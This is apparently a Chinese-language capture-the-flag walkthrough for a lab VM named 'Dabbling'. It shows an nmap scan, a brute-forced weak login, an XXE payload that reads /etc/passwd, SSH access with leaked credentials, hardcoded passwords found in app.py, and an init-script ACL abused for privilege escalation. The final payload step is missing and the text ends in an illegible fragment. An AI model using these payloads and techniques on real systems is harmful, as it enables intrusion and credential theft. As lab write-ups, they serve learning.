

Dabbling_tonglinggejimo

SHELL

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack ttl 64

80/tcp open http syn-ack ttl 64

5000/tcp open upnp syn-ack ttl 64

MAC Address: 08:00:27:49:32:81 (Oracle VirtualBox virtual NIC)

查看80，点击后跳转到5000段扩登录页，因为提示了 **alice/bob/admin**，直接爆破，拿到弱口令密码 **alice**

View filter: Showing all items							
Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
2616	alice	200	53			419	Username Field (1)
0		401	63			228	
1	123456	401	58			228	
2	12345	401	62			228	
3	123456789	401	62			228	
4	password	401	54			228	
5	loveyou	401	55			228	
6	princess	401	54			228	
7	1234567	401	63			228	
8	rockyou	401	62			228	
9	12345678	401	63			228	
10	abc123	401	63			228	
11	nicole	401	52			228	
12	daniel	401	58			228	
13	babygirl	401	65			228	
14	monkey	401	65			228	
15	lovely	401	58			228	
16	jessica	401	58			228	

Request		Response	
Pretty	Raw	Hex	明动
1 POST /api/auth/login HTTP/1.1			
2 Host: 192.168.56.192:5000			
3 Content-Length: 39			
4 Accept-Language: zh-CN,zh;q=0.9			
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36			
6 Content-Type: application/json			
7 Accept: */*			
8 Origin: http://192.168.56.192:5000			
9 Referer: http://192.168.56.192:5000/			
0 Accept-Encoding: gzip, deflate, br			
1 Connection: keep-alive			
2			
3 {			
4 "username":"alice",			
5 "password":"alice"			
6 }			

看到登录进去后界面有插入框且右边有内容，第一时间没看到xml和json（凭借经验测5000端口的ssti发现没有，其实也没有预览渲染页面了哈哈哈哈），看到xml后猜到是xxe注入，开测

Profile Information

Display Name

{{3*3}}

Bio

12344235

Theme

Dark

Data Editor

Edit raw profile data for import/export operations

```
<?xml version="1.0" encoding="UTF-8"?>
<profile>
  <display_name>My Profile</display_name>
  <bio>This is my profile description</bio>
</profile>
```

Export Profile

Import Profile

Export as JSON

Export as XML

Server Response

```
{"username": "alice", "display_name": "{{3*3}}", "bio": "12344235", "settings": {"theme": "dark", "language": "en"}}
```

Notice

Profile import supports JSON and XML formats. For bulk data migration, please use the XML format with the standard schema template.

XML

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE profile [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<profile>
  <display_name>xxe</display_name>
  <bio>&xxe;</bio>
</profile>
```

Profile Manager

Welcome, alice (user)

Sign Out

Profile Information

Display Name

{{3*3}}

Bio

12344235

Theme

Dark

Data Editor

Edit raw profile data for import/export operations

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE profile [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<profile>
  <display_name>xxe</display_name>
  <bio>&xxe;</bio>
</profile>
```

[Export Profile](#)

[Import Profile](#)

Export as JSON

Export as XML

Server Response

```
<?xml version="1.0" encoding="UTF-8"?>
<profile>
  <username>alice</username>
  <display_name>xxe</display_name>
  <bio>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
```

测出来发现有xxe，同时可以读取到：

```
robert:x:1000:1000:./home/robert:/bin/bash
bob:x:1001:1001:bob#1234:/home/bob:/bin/bash
```

SHELL

发现有两个用户，同时看到给了bob的密码，直接ssh登录

```
ssh bob@192.168.56.192
bob@Dabbling:~$ ls
user.txt
bob@Dabbling:~$ cat user.txt
```

读取 `/opt/lab/backend/app.py`



```
bob@Dabbling:~$ ls /opt/
lab
bob@Dabbling:~$ ls /opt/lab/
backend  frontend
bob@Dabbling:~$ find /opt/
/opt/
/opt/lab
/opt/lab/frontend
/opt/lab/frontend/index.html
/opt/lab/backend
/opt/lab/backend/app.py
bob@Dabbling:~$ cat /opt/lab/backend/app.py
from flask import Flask, request, Response, session, send_from_directory
import lxml.etree as etree

import json
import uuid
import os

app = Flask(__name__, static_folder=None)
app.secret_key = 'a3f1c9b2e7d84f6a1b0e3c5d7f9a2b4c'

FRONTEND_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'frontend')

users = {
    'alice': {'password': 'alice', 'role': 'user'},
    'bob': {'password': 'bob#1234', 'role': 'user'},
    'admin': {'password': 'R0bert&^%8805', 'role': 'admin'}
```

拿到 `'admin': {'password': 'R0bert&^%8805', 'role': 'admin'}` 猜测这里是 robert 的密码，可以直接登录成功

```
app.run(host='0.0.0.0', port=5000, debug=False)bob@Dabbling:~$ su - robert
Password:
robert@Dabbling:~$ whoami
robert
```

SHELL

```
sudo -l
```

Matching Defaults entries for robert on Dabbling:

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

Runas and Command-specific defaults for robert:

```
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
```

User robert may run the following commands on Dabbling:

```
(ALL) NOPASSWD: /sbin/reboot
```

跑linpeas的时候可以看到 **robert** 对 **/etc/init.d/xxe-lab** 有acl权限

```
Files with ACLs (limited to 50) (T1222)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.htm#acls
ml#acls
# file: /etc/init.d/xxe-lab
USER    root      rwx
user    robert    rwx
GROUP   root      r-x
mask    rwx
other   r-x
```

原始内容如下：

```
#!/sbin/openrc-run
```

SHELL

```
name="XXE Lab"
description="XXE Challenge Lab"
command="/usr/bin/python3"
command_user="nobody"
command_args="/opt/lab/backend/app.py"
directory="/opt/lab/backend"
pidfile="/run/${RC_SVCNAME}.pid"
command_background=true

depend() {
    need net
    after firewall
}
```

每次靶机重启的时候，就会自动重新启动这个xxe服务，所以可以在这里写入恶意负载

改成

然后重启即可

[illegible]